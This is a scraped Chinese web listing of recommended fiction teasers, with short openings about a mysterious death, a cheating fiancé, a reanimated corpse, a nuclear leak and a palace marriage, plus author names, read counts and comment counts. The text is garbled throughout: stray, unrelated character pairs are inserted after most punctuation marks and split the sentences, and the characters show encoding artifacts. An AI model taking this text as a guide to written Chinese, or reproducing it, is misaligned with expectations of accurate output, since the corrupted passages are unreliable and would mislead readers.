  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,542評(píng)論 2 332
  • 正文 我和宋清朗相戀三年蝙砌,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了阳堕。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片跋理。...
    茶點(diǎn)故事閱讀 39,711評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖恬总,靈堂內(nèi)的尸體忽然破棺而出前普,到底是詐尸還是另有隱情,我是刑警寧澤越驻,帶...
    沈念sama閱讀 35,424評(píng)論 5 343
  • 正文 年R本政府宣布汁政,位于F島的核電站,受9級(jí)特大地震影響缀旁,放射性物質(zhì)發(fā)生泄漏记劈。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,017評(píng)論 3 326
  • 文/蒙蒙 一并巍、第九天 我趴在偏房一處隱蔽的房頂上張望目木。 院中可真熱鬧,春花似錦懊渡、人聲如沸刽射。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,668評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽誓禁。三九已至,卻和暖如春肾档,著一層夾襖步出監(jiān)牢的瞬間摹恰,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,823評(píng)論 1 269
  • 我被黑心中介騙來泰國打工怒见, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留俗慈,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,722評(píng)論 2 368
  • 正文 我出身青樓遣耍,卻偏偏與公主長得像闺阱,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子舵变,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,611評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容